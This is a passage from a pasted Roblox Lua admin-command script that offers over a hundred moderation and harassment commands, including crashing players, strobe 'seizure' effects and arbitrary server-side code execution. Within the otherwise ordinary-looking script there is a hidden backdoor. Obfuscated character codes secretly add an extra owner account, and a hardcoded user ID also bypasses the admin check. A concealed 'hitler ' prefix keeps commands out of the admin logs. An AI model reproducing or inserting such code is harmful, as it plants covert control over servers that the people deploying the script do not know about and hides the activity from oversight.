Advertisement
Guest User

Untitled

a guest
Aug 25th, 2019
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 112.27 KB | None | 0 0
  1. -- This script has been converted to FE by iPxter
  2.  
  3.  
  4. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  5. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  6. do
  7. print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
  8. script.Parent = Player.Character
  9.  
  10. --RemoteEvent for communicating
  11. local Event = Instance.new("RemoteEvent")
  12. Event.Name = "UserInput_Event"
  13.  
  14. --Fake event to make stuff like Mouse.KeyDown work
  15. local function fakeEvent()
  16. local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
  17. t.connect = t.Connect
  18. return t
  19. end
  20.  
  21. --Creating fake input objects with fake variables
  22. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  23. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  24. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  25. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  26. end}
  27. --Merged 2 functions into one by checking amount of arguments
  28. CAS.UnbindAction = CAS.BindAction
  29.  
  30. --This function will trigger the events that have been :Connect()'ed
  31. local function te(self,ev,...)
  32. local t = m[ev]
  33. if t and t._fakeEvent and t.Function then
  34. t.Function(...)
  35. end
  36. end
  37. m.TrigEvent = te
  38. UIS.TrigEvent = te
  39.  
  40. Event.OnServerEvent:Connect(function(plr,io)
  41. if plr~=Player then return end
  42. if io.isMouse then
  43. m.Target = io.Target
  44. m.Hit = io.Hit
  45. else
  46. local b = io.UserInputState == Enum.UserInputState.Begin
  47. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  48. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  49. end
  50. for _,t in pairs(CAS.Actions) do
  51. for _,k in pairs(t.Keys) do
  52. if k==io.KeyCode then
  53. t.Function(t.Name,io.UserInputState,io)
  54. end
  55. end
  56. end
  57. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  58. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  59. end
  60. end)
  61. Event.Parent = NLS([==[
  62. local Player = game:GetService("Players").LocalPlayer
  63. local Event = script:WaitForChild("UserInput_Event")
  64.  
  65. local UIS = game:GetService("UserInputService")
  66. local input = function(io,a)
  67. if a then return end
  68. --Since InputObject is a client-side instance, we create and pass table instead
  69. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
  70. end
  71. UIS.InputBegan:Connect(input)
  72. UIS.InputEnded:Connect(input)
  73.  
  74. local Mouse = Player:GetMouse()
  75. local h,t
  76. --Give the server mouse data 30 times every second, but only if the values changed
  77. --If player is not moving their mouse, client won't fire events
  78. while wait(1/30) do
  79. if h~=Mouse.Hit or t~=Mouse.Target then
  80. h,t=Mouse.Hit,Mouse.Target
  81. Event:FireServer({isMouse=true,Target=t,Hit=h})
  82. end
  83. end]==],Player.Character)
  84. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  85. end
  86.  
  87. local owners = {"doctorwho123456700"} -- Are able to set admins who can ban/etc... using :pa name
  88. local admins = {"frank2108"} -- Sets admins who can use ban/kick/admin or shutdown
  89. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  90. local banland = {} -- Permanently Bans people
  91. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  92. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  93. -----------------
  94. -- Group Admin --
  95. -----------------
  96. local GroupAdmin = false -- If a certain group can have admin
  97. local GroupId = 0 -- Sets the group id that can have admin
  98. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  99. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  100. ---------------------
  101. -- Tips and Tricks --
  102. ---------------------
  103. --[[
  104. With this admin you can do a command on multiple people at a time;
  105. :kill me,noob1,noob2,random,team-raiders
  106.  
  107. You can also use a variety commands for different people;
  108. all
  109. others
  110. me
  111. team-
  112. admins
  113. nonadmins
  114. random
  115. --]]
  116. --------------
  117. -- Commands --
  118. --------------
  119. --[[
  120. -- Temp Admin Commands --
  121. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  122. 1. :s print("Hello World") -- Lets you script normally
  123. 2. :ls print("Hello World") -- Lets you script in localscripts
  124. 3. :clear -- Will remove all scripts/localscripts and jails
  125. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  126. 5. :kill kohl -- Kills the player
  127. 6. :respawn kohl -- Respawns the player
  128. 7. :trip kohl -- Trips the player
  129. 8. :stun kohl -- Stuns the player
  130. 9. :unstun kohl -- Unstuns the player
  131. 10. :jump kohl -- Makes the player jump
  132. 11. :sit kohl -- Makes the player sit
  133. 12. :invisible kohl -- Makes the player invisible
  134. 13. :visible kohl -- Makes the player visible
  135. 14. :explode kohl -- Makes the player explode
  136. 15. :fire kohl -- Sets the player on fire
  137. 16. :unfire kohl -- Removes fire from the player
  138. 17. :smoke kohl -- Adds smoke to the player
  139. 18. :unsmoke kohl -- Removes smoke from the player
  140. 19. :sparkles kohl -- Adds sparkles to the player
  141. 20. :unsparkles kohl -- Removes sparkles from the player
  142. 21. :ff kohl -- Adds a forcefield to the player
  143. 22. :unff kohl -- Removes the forcefield from the player
  144. 23. :punish kohl -- Punishes the player
  145. 24. :unpunish kohl -- Unpunishes the player
  146. 25. :freeze kohl -- Freezes the player
  147. 26. :thaw kohl -- Thaws the player
  148. 27. :heal kohl -- Heals the player
  149. 28. :god kohl -- Makes the player have infinite health
  150. 29. :ungod kohl -- Makes the player have 100 health
  151. 30. :ambient .5 .5 .5 -- Changes the ambient
  152. 31. :brightness .5 -- Changes the brightness
  153. 32. :time 12 -- Changes the time
  154. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  155. 34. :fogend 100 -- Changes the fogend
  156. 35. :fogstart 100 -- Changes the fogstart
  157. 36. :removetools kohl -- Removes all tools from the player
  158. 37. :btools kohl -- Gives the player building tools
  159. 38. :give kohl sword -- Gives the player a tool
  160. 39. :damage kohl -- Damages the player
  161. 40. :grav kohl -- Sets the player's gravity to normal
  162. 41. :setgrav kohl 100 -- Sets the player's gravity
  163. 42. :nograv kohl -- Makes the player have 0 gravity
  164. 43. :health kohl 1337 -- Changes the player's health
  165. 44. :speed kohl 1337 -- Changes the player's walkspeed
  166. 45. :name kohl potato -- Changes the player's name
  167. 46. :unname kohl -- Remove the player's name
  168. 47. :team kohl Raiders -- Changes the player's team
  169. 48. :stopmusic -- Will stop all music playing in the server
  170. 49. :teleport kohl potato -- Teleports the player
  171. 50. :change kohl kills 1337 -- Changes a player's stat
  172. 51. :kick kohl -- Removes the player from the game
  173. 52. :infect kohl -- Turns the player into a zombie
  174. 53. :rainbowify kohl -- Turns the player into a rainbow
  175. 54. :flashify kohl -- Turns the player into a strobe
  176. 55. :noobify kohl -- Turns the player into a noob
  177. 56. :ghostify kohl -- Turns the player into a ghost
  178. 57. :goldify kohl -- Turns the player into gold
  179. 58. :shiny kohl -- Makes the player shiny
  180. 59. :normal kohl -- Puts the player back to normal
  181. 60. :trippy kohl -- Spams random colors on the player's screen
  182. 61. :untrippy kohl -- Untrippys the player
  183. 62. :strobe kohl -- Spams white and black on the player's screen
  184. 63. :unstrobe kohl -- Unstrobes the player
  185. 64. :blind kohl -- Blinds the player
  186. 65. :unblind kohl -- Unblinds the player
  187. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  188. 67. :fling kohl -- Flings the player
  189. 68. :seizure kohl -- Puts the player in a seizure
  190. 69(lol). :music 1337 -- Plays a sound from the ID
  191. 70. :lock kohl -- Locks the player
  192. 71. :unlock kohl -- Unlocks the player
  193. 72. :removelimbs kohl -- Removes the player's limbs
  194. 73. :jail kohl -- Puts the player in a jail
  195. 74. :unjail kohl -- Removes the jail from the player
  196. 75. :fix -- This will fix the lighting to it's original settings
  197. 76. :fly kohl -- Makes the player fly
  198. 77. :unfly kohl -- Removes fly from the player
  199. 78. :noclip kohl -- Makes the player able to noclip
  200. 79. :clip kohl -- Removes noclipping from the player
  201. 80. :pm kohl Hey bro -- Sends the player a private message
  202. 81. :dog kohl -- Turns the player into a dog
  203. 82. :undog kohl -- Turns the player back to normal
  204. 83. :creeper kohl -- Turns the player into a creeper
  205. 84. :uncreeper kohl -- Turns the player back to normal
  206. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  207. 86. :char kohl 261 -- Will make a player look like a different player ID
  208. 87. :unchar kohl -- Will return the player back to normal
  209. 88. :h Hello People -- This will shout a hint to everyone
  210. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  211. 90. :starttools kohl -- Will give the player starter tools
  212. 91. :sword kohl -- Will give the player a sword
  213. 92. :bighead kohl -- Will make the player's head larger than normal
  214. 93. :minihead kohl -- Will make the player's head smaller than normal
  215. 94. :insert 1337 -- Will insert a model at the speaker's position
  216. 95. :disco -- Will make the server flash random colors
  217. 96. :flash -- Will make the server flash
  218. 97. :admins -- Shows the admin list
  219. 98. :bans -- Shows the banlist
  220. 99. :musiclist -- Shows the music list
  221. 100. :spin kohl -- Spins the player
  222. 101. :cape kohl Really black -- Gives the player a colored cape
  223. 102. :uncape kohl -- Removes the player's cape
  224. 103. :loopheal kohl -- Will constantly heal the player
  225. 104. :loopfling kohl -- Will constantly fling the player
  226. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  227. 106. :unloopheal kohl -- Will remove the loopheal on the player
  228. 107. :unloopfling kohl -- Will remove the loopfling on the player
  229. 108. :unspin kohl -- Removes spin from the player
  230. 109. :tools -- Gives a list of the tools in the lighting
  231. 110. :undisco -- Removes disco effects
  232. 111. :unflash -- Removes flash effects
  233. 112. :resetstats kohl -- Sets all the stats of a player to 0
  234. 113. :gear kohl 1337 -- Gives a player a gear
  235. 114. :cmdbar -- Gives the speaker a command bar
  236. 115. :shirt kohl 1337 -- Changes the player's shirt
  237. 116. :pants kohl 1337 -- Changes the player's pants
  238. 117. :face kohl 1337 -- Changes the player's face
  239. 118. :swagify kohl -- Swagifies the player
  240. 119. :version -- Shows the current version of the admin
  241.  
  242. -- Super Admin Commands --
  243. - :serverlock -- Locks the server
  244. - :serverunlock -- Unlocks the server
  245. - :sm Hello World -- Creates a system message
  246. - :crash kohl -- Crashes a player
  247. - :admin kohl -- Admins a player
  248. - :unadmin kohl -- Unadmins a player
  249. - :ban kohl -- Bans a player
  250. - :unban kohl -- Unbans a player
  251. - :loopkill kohl -- Will constantly kill the player
  252. - :unloopkill kohl -- Will remove the loopkill on the player
  253. - :logs -- Will show all of the commands any admin has used in a game session
  254. - :shutdown -- Shutsdown the server
  255.  
  256. -- Owner Commands --
  257. - :pa kohl -- Makes someone a super admin
  258. - :unpa kohl -- Removes a super admin
  259. --]]
  260. -----------------
  261. -- Main Script --
  262. -----------------
  263. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  264.  
  265. function CHEESE()
  266. if game:service("Lighting"):findFirstChild("KACV2") then
  267. owners = {} admins = {} tempadmins = {} banland = {}
  268. for i,v in pairs(game.Lighting.KACV2:children()) do
  269. if v.Name == "Owner" then table.insert(owners, v.Value) end
  270. if v.Name == "Admin" then table.insert(admins, v.Value) end
  271. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  272. if v.Name == "Banland" then table.insert(banland, v.Value) end
  273. if v.Name == "Prefix" then prefix = v.Value end
  274. if v.Name == "FunCommands" then FunCommands = v.Value end
  275. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  276. if v.Name == "GroupId" then GroupId = v.Value end
  277. if v.Name == "GroupRank" then GroupRank = v.Value end
  278. end
  279. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  280. end
  281.  
  282. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  283. local lobjs = {}
  284. local objects = {}
  285. local logs = {}
  286. local nfs = ""
  287. local slock = false
  288.  
  289. function GetTime()
  290. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  291. if min < 10 then min = "0"..min end
  292. return hour..":"..min
  293. end
  294.  
  295. function ChkOwner(str)
  296. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  297. return false
  298. end
  299.  
  300. function ChkAdmin(str,ck)
  301. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  302. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  303. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  304. return false
  305. end
  306.  
  307. function ChkGroupAdmin(plr)
  308. if GroupAdmin then
  309. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  310. return false
  311. end
  312. end
  313.  
  314. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  315.  
  316. function GetPlr(plr, str)
  317. local plrz = {} str = str:lower()
  318. if str == "all" then plrz = game.Players:children()
  319. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  320. else
  321. local sn = {1} local en = {}
  322. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  323. for x = 1, #sn do
  324. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  325. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  326. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  327. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  328. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  329. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  330. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  331. end end end
  332. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  333. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  334. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  335. end end end
  336. else
  337. for a, plyr in pairs(game.Players:children()) do
  338. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  339. table.insert(plrz, plyr) break
  340. end
  341. end
  342. end
  343. end
  344. end
  345. return plrz
  346. end
  347.  
  348. function Hint(str, plrz, time)
  349. for i, v in pairs(plrz) do
  350. if v and v:findFirstChild("PlayerGui") then
  351. coroutine.wrap(function()
  352. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  353. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  354. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  355. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  356. if not time then wait((#str/19)+2.5) else wait(time) end
  357. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  358. end)()
  359. end
  360. end
  361. end
  362.  
  363. function Message(ttl, str, scroll, plrz, time)
  364. for i, v in pairs(plrz) do
  365. if v and v:findFirstChild("PlayerGui") then
  366. coroutine.resume(coroutine.create(function()
  367. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  368. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  369. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  370. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  371. scr.Parent = v.PlayerGui
  372. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  373. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  374. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  375. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  376. end))
  377. end
  378. end
  379. end
  380.  
  381. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  382. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  383.  
  384. function Output(str, plr)
  385. coroutine.resume(coroutine.create(function()
  386. local b, e = loadstring(str)
  387. if not b and plr:findFirstChild("PlayerGui") then
  388. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  389. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  390. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  391. return
  392. end
  393. end))
  394. end
  395.  
  396. function Noobify(char)
  397. if char and char:findFirstChild("Torso") then
  398. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  399. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  400. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  401. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  402. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  403. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  404. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  405. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  406. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  407. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  408. end end
  409. end
  410. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  411.  
  412. function Infect(char)
  413. if char and char:findFirstChild("Torso") then
  414. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  415. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  416. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  417. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  418. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  419. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  420. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  421. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  422. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  423. end end
  424. end
  425. end if not ntab then script:Destroy() end
  426.  
  427. function ScrollGui()
  428. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  429. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  430. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  431. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  432. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  433. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  434. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  435. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  436. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  437. local num = 0
  438. local downv = false
  439. local upv = false
  440.  
  441. down.MouseButton1Down:connect(function() downv = true upv = false
  442. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  443. repeat pos = pos + UDim2.new(0,0,0,-6)
  444. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  445. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  446. end)
  447. down.MouseButton1Up:connect(function() downv = false end)
  448. up.MouseButton1Down:connect(function() upv = true downv = false
  449. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  450. repeat pos = pos + UDim2.new(0,0,0,6)
  451. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  452. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  453. end)
  454. up.MouseButton1Up:connect(function() upv = false end)
  455. return scr, cmf, ent, num
  456. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  457. if not ntab then script:Destroy() end
  458. if not bct then script:Destroy() end
  459.  
  460. function Chat(msg,plr)
  461. coroutine.resume(coroutine.create(function()
  462. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  463. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  464. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  465. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  466. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  467. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  468. if msg:lower() == "cmds" or msg:lower() == "commands" then
  469. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  470. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  471. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  472. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  473. local ost = {"pa plr","unpa plr"}
  474. local tost = {"oa plr","unoa plr"}
  475. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  476. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  477. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
